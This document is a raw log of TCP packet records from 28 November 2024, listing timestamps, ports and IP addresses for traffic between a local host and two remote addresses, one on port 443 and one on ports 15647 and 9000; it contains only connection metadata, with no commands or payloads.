Nov 28, 2024 09:53:20.520224094 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.520303965 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.529320002 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.529350996 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.529436111 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.529958010 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.529989004 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.530117989 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.530154943 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.530165911 CET	49772	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.530172110 CET	443	49772	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.530627012 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.530637026 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.534270048 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.534308910 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.534385920 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.534518003 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.534523010 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.552763939 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.554076910 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.674129009 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.674674988 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.794764996 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.795399904 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.833142042 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.833229065 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.833374977 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.886939049 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.886975050 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.886989117 CET	49773	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.886996031 CET	443	49773	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.894593954 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.894695997 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.894750118 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.904278040 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.904315948 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.904333115 CET	49774	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.904339075 CET	443	49774	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.907609940 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.907675982 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.907746077 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.915513039 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:20.915595055 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:20.917413950 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.917442083 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.965121031 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.965189934 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:20.965262890 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.999003887 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:20.999046087 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:21.035681963 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.037626982 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:21.157876015 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.397490025 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:21.517534018 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.560535908 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:21.622236967 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.676886082 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:21.680529118 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.680625916 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:21.800632954 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.800719023 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:21.843342066 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.895633936 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:21.920901060 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:21.920953035 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.011096001 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.040952921 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.051891088 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.077323914 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.197400093 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.245361090 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.268603086 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.366319895 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.366383076 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.407862902 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.453833103 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.453990936 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.463649988 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.463668108 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.464512110 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.464517117 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.464839935 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.464864969 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.465256929 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.465262890 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.486505032 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.486569881 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.576100111 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.576150894 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.606515884 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.696054935 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.696140051 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.696753979 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.775109053 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.775670052 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.775701046 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.776235104 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.776238918 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.786262989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.817045927 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.817118883 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:22.875822067 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.876425982 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.876446009 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.876915932 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.876919985 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.907437086 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.907515049 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.907665968 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.907959938 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.908029079 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.908081055 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.915648937 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.915673018 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.915688038 CET	49775	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.915693045 CET	443	49775	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.917634964 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.917650938 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.917674065 CET	49777	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.917679071 CET	443	49777	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.930888891 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.930922031 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.931240082 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.931610107 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.931622982 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.933165073 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.933212042 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.933515072 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.933648109 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:22.933662891 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:22.950630903 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:22.950758934 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.112413883 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.112474918 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.147943974 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.148065090 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.219063997 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.219135046 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.219193935 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.219665051 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.219687939 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.219706059 CET	49778	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.219712973 CET	443	49778	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.222620964 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.222651958 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.222733974 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.223079920 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.223093033 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.232438087 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.268273115 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.270252943 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.281371117 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.319695950 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.319772005 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.319951057 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.320220947 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.320240021 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.320338011 CET	49779	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.320343971 CET	443	49779	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.323939085 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.323997021 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.324095964 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.324268103 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:23.324281931 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:23.395641088 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.444153070 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.444219112 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.564301014 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.564373970 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.684398890 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.684458971 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.804522038 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:23.861347914 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:23.981570959 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.262922049 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:24.297025919 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.382941008 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.383006096 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:24.502990007 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.504461050 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:24.507469893 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.507538080 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:24.668294907 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.668355942 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:24.715030909 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:24.715218067 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:24.716914892 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:24.716953039 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:24.717458963 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:24.717464924 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:24.717716932 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:24.717736959 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:24.718115091 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:24.718120098 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:24.789104939 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.789167881 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:24.909096003 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.909151077 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:24.987063885 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:24.987145901 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.007798910 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.027298927 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.027321100 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.028198004 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.028203964 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.029098034 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.103682995 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.107050896 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.107100010 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.119684935 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.159384966 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.159447908 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.159497023 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.159948111 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.160021067 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.160064936 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.197361946 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.197428942 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.197875977 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.197915077 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.198615074 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.198621035 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.200551033 CET	49781	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.200568914 CET	443	49781	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.202867985 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.202887058 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.202904940 CET	49780	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.202910900 CET	443	49780	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.246335983 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.246361017 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.246426105 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.248476982 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.248490095 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.249917030 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.249969006 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.250030994 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.250174999 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.250194073 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.268070936 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.268135071 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.322221994 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.374708891 CET	49786	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.393577099 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.393834114 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.407685995 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.453141928 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.453207016 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.456959963 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.480866909 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.480868101 CET	49782	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.480899096 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.480905056 CET	443	49782	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.489398003 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.494740963 CET	9000	49786	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.494940042 CET	49786	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.495134115 CET	49786	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.512654066 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.512705088 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.512806892 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.549052954 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.549119949 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.549202919 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.549222946 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.549263954 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.549458981 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.549478054 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.549505949 CET	49783	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.549513102 CET	443	49783	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.556113958 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.556246996 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.561558008 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.561583042 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.562534094 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.562995911 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:25.563007116 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:25.575575113 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.578407049 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.601886034 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.602118015 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.615103960 CET	9000	49786	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.676244020 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.676466942 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.695717096 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.695756912 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.695779085 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.695847988 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.724244118 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.724628925 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.844118118 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.844578981 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.844650030 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:25.886581898 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.964579105 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:25.965073109 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.006897926 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.054982901 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.056458950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.085062981 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.175122023 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.175460100 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.176359892 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.295406103 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.295473099 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.295538902 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.395653009 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.456064939 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.456114054 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.512109041 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.576000929 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.576066971 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.625969887 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.695950031 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.716579914 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.716670990 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.803843975 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.836342096 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.920702934 CET	9000	49786	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.920824051 CET	9000	49786	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.920883894 CET	49786	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.926949024 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:26.927033901 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.932553053 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:26.969769955 CET	49786	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.049420118 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.049485922 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.050498009 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.078191996 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.078226089 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.078921080 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.078933001 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.092031002 CET	49789	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.092555046 CET	9000	49786	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.096074104 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.170444965 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.170519114 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.211932898 CET	9000	49789	45.141.84.168	192.168.2.4
